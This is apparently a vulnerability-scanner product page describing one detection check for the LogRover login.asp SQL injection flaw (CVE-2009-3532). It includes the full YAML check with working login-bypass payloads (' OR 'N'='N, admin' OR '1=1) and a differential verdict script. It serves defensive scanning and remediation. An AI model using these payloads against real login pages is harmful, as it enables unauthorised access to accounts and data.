LogRover — 1 vulnerability check

noctis ships 1 vulnerability check for LogRover, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

LogRover login.asp SQL injection authentication bypass

CVECVE-2009-3532
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/logrover/CVE-2009-3532.yaml

Requests login.asp under /LogRover and the web root and, when it answers 200, posts three logins to it (uname, pword) without following redirects: a wrong random login, a login whose two fields end with an always-true SQL condition (<random>' OR 'N'='N), and one whose fields end with an always-false condition (<random>' OR 'N'='M). The finding fires with high confidence when the always-true login leads to index1.asp, the page LogRover opens after a good login, without the "Invalid Username or Password" error, while the wrong and always-false logins do not. When no index1.asp is seen, it fires with lower confidence when the always-false login is rejected exactly like the wrong login (same status, redirect target, error text and login form) while the always-true login is answered (no error or block status) with a different result. Either way both fields are evaluated inside the login SQL query and the password check can be bypassed. The requests are ordinary login attempts with random user names; no data is read or changed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/login.asp
  3. HTTP(S) request POST {{dir}}/login.asp with a crafted body
  4. HTTP(S) request POST {{dir}}/login.asp with a crafted body
  5. HTTP(S) request POST {{dir}}/login.asp with a crafted body
  6. Parses / computes the next value with a Rhai script
  7. Checks v.st for . → finding QoD 97: LogRover login.asp SQL injection authentication bypass
  8. Checks v.st for . → finding QoD 75: LogRover login.asp SQL injection authentication bypass

References:

Feed source — tests/vulnerabilities/logrover/CVE-2009-3532.yaml
# LogRover 2.3 / 2.3.3 login.asp SQL injection authentication bypass (CVE-2009-3532).
#
# Reference check: OpenVAS/Greenbone NVT `2009/gb_logrover_sql_inj_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.801012, GPL-2.0-only). It needs /LogRover/login.asp to
# answer 200, posts uname=admin' OR '1=1 / pword=' OR '1=1 and reports when the reply
# contains "index1.asp" (the page a good login leads to) and not "Invalid Username or
# Password". Advisory DDIVRT-2009-26: uname and pword are concatenated into the login
# query of login.asp. Vendor source is not public (commercial product, no fix released).
#
# Differences from the reference check:
#   - Its payload closes the quote with '1=1 — a bare string used as a condition. MySQL
#     and SQLite coerce it to 1, but SQL Server rejects it ("non-boolean type"), so the
#     query fails on such a vulnerable install (FN; LogRover is a Windows/IIS product).
#     This feed uses a real comparison <random>' OR 'N'='N, valid in every SQL dialect,
#     in both fields.
#   - Its single probe also fires on any page that always mentions index1.asp without
#     the error text (a login that answers every POST the same way: FP). This feed adds
#     a plain wrong login and an always-false control (<random>' OR 'N'='M) that must
#     both be rejected.
#   - The web root is probed as well as /LogRover.
#
# Three logins, redirects not followed, random user names (no real account targeted):
#   1. plain wrong login            <rand> / <rand>
#   2. true condition               <rand>' OR 'N'='N in both fields
#   3. false condition (control)    <rand>' OR 'N'='M in both fields (sent last: a lockout
#                                   or throttle after repeated failures hits it, failing closed)
# QoD 97: 2 lands on index1.asp (Location or body) without the error text, while 1 and 3
#         do not — a real login bypass.
# QoD 75: no index1.asp anywhere, login.asp shows the uname/pword form, 3 is rejected exactly like 1 (status, redirect
#         target, error text, password field) and 2 is an answered login (< 400, not a
#         WAF block) with a different result — the condition changes the login result.
# At most a session is opened as the first account of the table; no data is read or changed.
uid: af0810d9-962a-4e8a-9c6a-835c2045c0bf
name: "LogRover login.asp SQL injection authentication bypass"
description: >-
  Requests login.asp under /LogRover and the web root and, when it answers 200, posts
  three logins to it (uname, pword) without following redirects: a wrong random login,
  a login whose two fields end with an always-true SQL condition
  (<random>' OR 'N'='N), and one whose fields end with an always-false condition
  (<random>' OR 'N'='M). The finding fires with high confidence when the always-true
  login leads to index1.asp, the page LogRover opens after a good login, without the
  "Invalid Username or Password" error, while the wrong and always-false logins do
  not. When no index1.asp is seen, it fires with lower confidence when the always-false
  login is rejected exactly like the wrong login (same status, redirect target, error
  text and login form) while the always-true login is answered (no error or block
  status) with a different result. Either way both fields are evaluated inside the login
  SQL query and the password check can be bypassed. The requests are ordinary login
  attempts with random user names; no data is read or changed.
category: sqli
cves: [CVE-2009-3532]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [logrover, asp, sqli, auth-bypass, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-3532"
  - "http://www.packetstormsecurity.org/0907-advisories/DDIVRT-2009-26.txt"
  - "http://www.securityfocus.com/archive/1/504869/100/0/threaded"
  - "https://exchange.xforce.ibmcloud.com/vulnerabilities/51686"

steps:
  - id: gen
    action: script
    code: |
      let n = rand_int(1000, 9999);
      #{ u0: rand_str(8), p0: rand_str(10), u: rand_str(8), p: rand_str(10), n: n, f: n + 1 }
    store_as: rv

  # Loop group: every following step runs once per directory. Pre-initialise the
  # stored results so a failed request never leaves them undefined or holding the
  # previous directory's reply.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/LogRover", ""]

  - id: init-wrong
    action: set_var
    var_name: wrong
    var_value: {status: 0, body: ""}

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: init-inj
    action: set_var
    var_name: inj
    var_value: {status: 0, body: ""}

  - id: page
    action: http_request
    method: GET
    path: "{{dir}}/login.asp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page

  # 1. Plain wrong login: the reference rejection.
  - id: wrong
    action: http_request
    method: POST
    path: "{{dir}}/login.asp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "page.status == 200"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "uname={{rv.u0}}&pword={{rv.p0}}"
    store_as: wrong

  # 2. Injection: always-true condition in both fields.
  - id: inject
    action: http_request
    method: POST
    path: "{{dir}}/login.asp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "page.status == 200"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "uname={{rv.u}}%27+OR+%27{{rv.n}}%27%3D%27{{rv.n}}&pword={{rv.p}}%27+OR+%27{{rv.n}}%27%3D%27{{rv.n}}"
    store_as: inj

  # 3. Control: false condition of the same shape — must be rejected like 1. Sent last,
  # so a lockout or throttle after repeated failures changes it and the check fails closed.
  - id: control
    action: http_request
    method: POST
    path: "{{dir}}/login.asp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "page.status == 200"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "uname={{rv.u}}%27+OR+%27{{rv.n}}%27%3D%27{{rv.f}}&pword={{rv.p}}%27+OR+%27{{rv.n}}%27%3D%27{{rv.f}}"
    store_as: ctl

  - id: verdict
    action: script
    code: |
      fn loc_of(r) {
        if type_of(r) == "map" && type_of(r.headers) == "map" && type_of(r.headers["location"]) == "string" {
          return r.headers["location"];
        }
        ""
      }
      fn body_of(r) {
        if type_of(r) == "map" && type_of(r.body) == "string" { r.body } else { "" }
      }
      fn answered(r) {
        type_of(r) == "map" && r.status > 0 && r.status < 400
      }
      // Lands on index1.asp, the page a good LogRover login opens, without the error text.
      fn landed(r) {
        let b = body_of(r);
        answered(r) && !ereg("Invalid Username or Password", b, true)
          && (ereg("index1\\.asp", loc_of(r), true) || ereg("index1\\.asp", b, true))
      }
      fn outcome(r) {
        if type_of(r) != "map" || r.status == 0 { return ""; }
        let loc = loc_of(r);
        let q = loc.index_of("?");
        if q >= 0 { loc = loc.sub_string(0, q); }
        let b = body_of(r);
        let err = if ereg("Invalid Username or Password", b, true) { "error" } else { "noerror" };
        let form = if ereg("type\\s*=\\s*[\"']?password", b, true) { "form" } else { "noform" };
        "" + r.status + " " + loc + " " + err + " " + form
      }
      let o1 = outcome(wrong);
      let o2 = outcome(ctl);
      let o3 = outcome(inj);
      let ok = page.status == 200 && o1 != "" && o2 != "" && o3 != "";
      // QoD 97: true login lands on index1.asp, wrong and false logins do not.
      let bypass = ok && landed(inj) && !landed(wrong) && !landed(ctl);
      // QoD 75: generic differential — false == wrong, true answered and different —
      // only on a login form that has the uname and pword fields.
      let pb = body_of(page);
      let form_ok = ereg("name\\s*=\\s*[\"']?uname\\b", pb, true) && ereg("name\\s*=\\s*[\"']?pword\\b", pb, true);
      let diff = ok && form_ok && !bypass && answered(inj) && o1 == o2 && o3 != o2;
      #{ bypass: bypass, diff: diff, o1: o1, o2: o2, o3: o3,
         st: if bypass || diff { o3 } else { "" } }
    store_as: v

  - id: sqli-login-bypass
    action: match
    source: v.st
    pattern: "."
    condition: "v.bypass"
    on_match:
      finding:
        title: "LogRover login.asp SQL injection authentication bypass"
        description: "The LogRover login page login.asp concatenates the uname and pword fields into its SQL query: a login whose fields end with an always-true condition is accepted and leads to the application (index1.asp), while the same login with an always-false condition is rejected. An unauthenticated attacker can log in without a password and inject SQL into the login query."
        confidence_delta: 0.65
        qod: 97
        evidence: "POST {{dir}}/login.asp with uname and pword ending in ' OR '{{rv.n}}'='{{rv.n}} gave [{{v.o3}}] leading to index1.asp, while the false condition '{{rv.n}}'='{{rv.f}} gave [{{v.o2}}] and a plain wrong login [{{v.o1}}] (status, redirect target, error text, login form)."
        remediation: "No fixed LogRover release exists: remove the product or restrict access to its web interface to trusted hosts, and change the login query of login.asp to a parameterised query."
      stop: true

  - id: sqli-login-differential
    action: match
    source: v.st
    pattern: "."
    condition: "v.diff"
    on_match:
      finding:
        title: "LogRover login.asp SQL injection authentication bypass"
        description: "The login page login.asp evaluates the uname and pword fields inside its SQL query: an always-true condition in the fields changes the login result, while an always-false one is rejected like a wrong password. An unauthenticated attacker can bypass the password check and inject SQL into the login query."
        confidence_delta: 0.55
        qod: 75
        evidence: "POST {{dir}}/login.asp with uname and pword ending in ' OR '{{rv.n}}'='{{rv.n}} gave [{{v.o3}}], while the same login with the false condition '{{rv.n}}'='{{rv.f}} gave [{{v.o2}}], identical to a plain wrong login [{{v.o1}}] (status, redirect target, error text, login form)."
        remediation: "No fixed LogRover release exists: remove the product or restrict access to its web interface to trusted hosts, and change the login query of login.asp to a parameterised query."
      stop: true

View these feeds on GitHub